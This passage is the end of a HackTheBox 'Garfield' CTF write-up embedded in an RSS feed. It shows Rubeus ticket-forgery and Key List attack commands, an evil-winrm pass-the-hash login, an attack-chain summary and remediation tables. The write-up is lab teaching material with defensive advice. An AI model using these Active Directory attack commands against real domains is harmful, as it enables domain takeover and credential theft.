  &lt;/span&gt;&lt;span class="n"&gt;/domain:garfield.htb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/sid:S-1-5-21-2502726253-3859040611-225969357&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Key List Attack&lt;/strong&gt; - using the same extracted key to request a full-privilege TGS and recover the Administrator's NTLM hash:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;\Rubeus.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;asktgs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/enctype:aes256&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/keyList&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/service:krbtgt/garfield.htb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;\&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="n"&gt;/dc:DC01.garfield.htb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;\&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="n"&gt;/ticket:ticket_2026_04_05_12_11_04_Administrator_to_krbtgt&lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="nx"&gt;GARFIELD.HTB.kirbi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/nowrap&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This returns the domain Administrator's NT hash, usable directly with Pass-the-Hash.&lt;/p&gt;

&lt;h2&gt;
  
  
  6. Root Flag
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;evil-winrm &lt;span class="nt"&gt;-i&lt;/span&gt; &amp;lt;MACHINE-IP&amp;gt; &lt;span class="nt"&gt;-u&lt;/span&gt; Administrator &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'EE..............2D5'&lt;/span&gt;

&lt;span class="k"&gt;*&lt;/span&gt;Evil-WinRM&lt;span class="k"&gt;*&lt;/span&gt; PS C:&lt;span class="se"&gt;\U&lt;/span&gt;sers&lt;span class="se"&gt;\A&lt;/span&gt;dministrator&amp;gt; &lt;span class="nb"&gt;cd &lt;/span&gt;Desktop
&lt;span class="k"&gt;*&lt;/span&gt;Evil-WinRM&lt;span class="k"&gt;*&lt;/span&gt; PS C:&lt;span class="se"&gt;\U&lt;/span&gt;sers&lt;span class="se"&gt;\A&lt;/span&gt;dministrator&lt;span class="se"&gt;\D&lt;/span&gt;esktop&amp;gt; &lt;span class="nb"&gt;dir

    &lt;/span&gt;Directory: C:&lt;span class="se"&gt;\U&lt;/span&gt;sers&lt;span class="se"&gt;\A&lt;/span&gt;dministrator&lt;span class="se"&gt;\D&lt;/span&gt;esktop

Mode                LastWriteTime         Length Name
&lt;span class="nt"&gt;----&lt;/span&gt;                &lt;span class="nt"&gt;-------------&lt;/span&gt;         &lt;span class="nt"&gt;------&lt;/span&gt; &lt;span class="nt"&gt;----&lt;/span&gt;
&lt;span class="nt"&gt;-ar---&lt;/span&gt;         4/4/2026  11:55 PM             34 root.txt

&lt;span class="k"&gt;*&lt;/span&gt;Evil-WinRM&lt;span class="k"&gt;*&lt;/span&gt; PS C:&lt;span class="se"&gt;\U&lt;/span&gt;sers&lt;span class="se"&gt;\A&lt;/span&gt;dministrator&lt;span class="se"&gt;\D&lt;/span&gt;esktop&amp;gt; &lt;span class="nb"&gt;type &lt;/span&gt;root.txt
HTB&lt;span class="o"&gt;{&lt;/span&gt;REDACTED&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  7. Attack Chain Summary
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Initial Access
│
├─ Credential Leak (j.arbuckle)
│
├─ Reconnaissance
│   ├─ Nmap → Domain Controller identified (DC01)
│   ├─ DNS → Dual-homed DC (public + 192.168.x.x)
│   └─ SMB/LDAP → Users &amp;amp; shares enumerated
│
├─ BloodHound Analysis
│   └─ Attack path identified (incomplete):
│       l.wilson → l.wilson_adm → RODC01
│
├─ Initial Foothold (SYSVOL Abuse - BloodHound blind spot)
│   ├─ Write access to SYSVOL logon scripts (not in AD ACLs)
│   ├─ Upload malicious script (evil.bat + shell.ps1)
│   ├─ Set scriptPath for l.wilson
│   └─ Reverse shell as l.wilson (on next logon)
│
├─ Lateral Movement
│   ├─ Reset password of l.wilson_adm
│   └─ WinRM access as l.wilson_adm (user flag)
│
├─ Privilege Escalation (AD Abuse)
│   ├─ Enumerate writable objects
│   ├─ WRITE access on RODC01
│   └─ Resource-Based Constrained Delegation (RBCD)
│       ├─ Create fake machine account (EVIL$)
│       ├─ Configure delegation on RODC01
│       ├─ Request TGS impersonating Administrator
│       └─ Access RODC01 (via internal network)
│
├─ Network Pivoting
│   ├─ Identify internal IP (192.168.100.2)
│   ├─ Chisel reverse SOCKS tunnel
│   └─ Proxychains → internal network access
│
├─ Domain Compromise via RODC
│   ├─ Add l.wilson_adm to RODC Administrators
│   ├─ Modify Password Replication Policy (allow Administrator)
│   ├─ Force credential replication (repadmin)
│   └─ Extract krbtgt_8245 key (mimikatz)
│
├─ Ticket Forgery
│   ├─ Forge RODC Golden Ticket (Rubeus)
│   └─ Key List Attack → Administrator NTLM hash
│
└─ Full Domain Compromise
    └─ Pass-the-Hash → Administrator access (root flag)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  8. Key Vulnerabilities
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Vulnerability / Misconfiguration&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Credential exposure&lt;/td&gt;
&lt;td&gt;Valid credentials for &lt;code&gt;j.arbuckle&lt;/code&gt; were available&lt;/td&gt;
&lt;td&gt;Initial domain access&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;SYSVOL write access&lt;/td&gt;
&lt;td&gt;User had write permissions on &lt;code&gt;\\SYSVOL\scripts&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Logon script injection -&amp;gt; remote code execution&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;BloodHound-invisible attack path&lt;/td&gt;
&lt;td&gt;NTFS permissions on SYSVOL aren't visible in BloodHound's AD-ACL model&lt;/td&gt;
&lt;td&gt;Hidden privilege escalation path&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Excessive AD delegation rights&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;l.wilson&lt;/code&gt; can reset the password of &lt;code&gt;l.wilson_adm&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Lateral movement&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Privileged account misconfiguration&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;l.wilson_adm&lt;/code&gt; holds high privileges over RODC01&lt;/td&gt;
&lt;td&gt;Privilege escalation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;Writable AD object (RODC01)&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;WRITE&lt;/code&gt; access on the RODC01 computer object&lt;/td&gt;
&lt;td&gt;Enables RBCD attack&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;Resource-Based Constrained Delegation exposure&lt;/td&gt;
&lt;td&gt;Delegation settings modifiable by a low-privileged writable-object holder&lt;/td&gt;
&lt;td&gt;Impersonation of Administrator&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;Dual-homed domain controller&lt;/td&gt;
&lt;td&gt;DC exposed on an internal (&lt;code&gt;192.168.x.x&lt;/code&gt;) network in addition to the public one&lt;/td&gt;
&lt;td&gt;Pivoting opportunity into internal segment&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;Poor network segmentation&lt;/td&gt;
&lt;td&gt;Internal network reachable once pivoted&lt;/td&gt;
&lt;td&gt;Access to otherwise-restricted hosts (RODC01)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;No egress filtering&lt;/td&gt;
&lt;td&gt;Outbound connections (reverse shell, Chisel tunnel) allowed unrestricted&lt;/td&gt;
&lt;td&gt;C2 and tunneling capability&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;RODC Administrators group mismanagement&lt;/td&gt;
&lt;td&gt;Attacker-controlled account added to RODC Administrators&lt;/td&gt;
&lt;td&gt;Elevated control over the RODC&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;Weak Password Replication Policy&lt;/td&gt;
&lt;td&gt;RODC PRP could be modified to allow replication of the real Administrator&lt;/td&gt;
&lt;td&gt;Credential exposure via a read-only DC&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;Forced credential replication&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;repadmin&lt;/code&gt; used to force-replicate Administrator's credentials to RODC&lt;/td&gt;
&lt;td&gt;Credential dumping&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;14&lt;/td&gt;
&lt;td&gt;Kerberos key exposure (&lt;code&gt;krbtgt_8245&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;RODC-specific KRBTGT key extracted via DCSync&lt;/td&gt;
&lt;td&gt;Golden Ticket / Key List Attack&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;15&lt;/td&gt;
&lt;td&gt;Lack of monitoring/detection&lt;/td&gt;
&lt;td&gt;No apparent alerting on script abuse, delegation changes, or forced replication&lt;/td&gt;
&lt;td&gt;Full domain compromise without detection&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  9. Remediations
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Recommendation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Credential exposure&lt;/td&gt;
&lt;td&gt;Rotate and audit any credentials shared outside their intended scope; avoid reusing HTB-provided or onboarding credentials without a forced rotation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SYSVOL write access via GPO delegation&lt;/td&gt;
&lt;td&gt;Audit "Manage Logon Scripts" and similar GPO delegations regularly; treat file-level SYSVOL write access as equivalent in risk to an AD object ACL grant&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;BloodHound-invisible SYSVOL paths&lt;/td&gt;
&lt;td&gt;Supplement BloodHound collection with explicit SYSVOL/NTFS permission audits (e.g. &lt;code&gt;icacls&lt;/code&gt;, dedicated SYSVOL ACL review tooling) as part of routine AD hygiene&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Delegated password-reset rights (&lt;code&gt;l.wilson&lt;/code&gt; -&amp;gt; &lt;code&gt;l.wilson_adm&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Apply least-privilege delegation; avoid granting standard users password-reset rights over higher-privileged or administrative accounts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Writable RODC computer object&lt;/td&gt;
&lt;td&gt;Restrict &lt;code&gt;WRITE&lt;/code&gt; access on domain controller computer objects, including RODCs, to Domain/Enterprise Admins only&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RBCD misuse via &lt;code&gt;ms-DS-MachineAccountQuota&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Set &lt;code&gt;ms-DS-MachineAccountQuota&lt;/code&gt; to &lt;code&gt;0&lt;/code&gt; for non-administrative users to prevent unauthorized machine account creation used in RBCD attacks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Dual-homed DC / internal network exposure&lt;/td&gt;
&lt;td&gt;Avoid dual-homing domain controllers across trust boundaries; if required, enforce strict firewalling and monitoring on the internal-facing interface&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;No egress filtering&lt;/td&gt;
&lt;td&gt;Implement egress filtering and network monitoring to detect reverse shells, unauthorized tunneling tools (Chisel, etc.), and unusual outbound connections&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RODC Password Replication Policy weaknesses&lt;/td&gt;
&lt;td&gt;Keep the RODC PRP restrictive by default; alert on any modification of &lt;code&gt;msDS-RevealOnDemandGroup&lt;/code&gt; or &lt;code&gt;msDS-NeverRevealGroup&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Forced credential replication (&lt;code&gt;repadmin /rodcpwdrepl&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Monitor and alert on RODC replication events targeting privileged accounts such as &lt;code&gt;Administrator&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RODC &lt;code&gt;krbtgt&lt;/code&gt; key exposure&lt;/td&gt;
&lt;td&gt;Treat RODC KDC keys with the same sensitivity as the domain &lt;code&gt;krbtgt&lt;/code&gt; key; monitor for DCSync-style requests against RODC service accounts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lack of monitoring/detection&lt;/td&gt;
&lt;td&gt;Deploy detection for logon script modification, group membership changes to privileged groups, delegation attribute changes, and abnormal ticket requests (Golden Ticket / Key List Attack indicators)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




</description>
      <category>cybersecurity</category>
      <category>writeup</category>
      <category>ctf</category>
      <category>hackthebox</category>
    </item>
  </channel>
</rss>
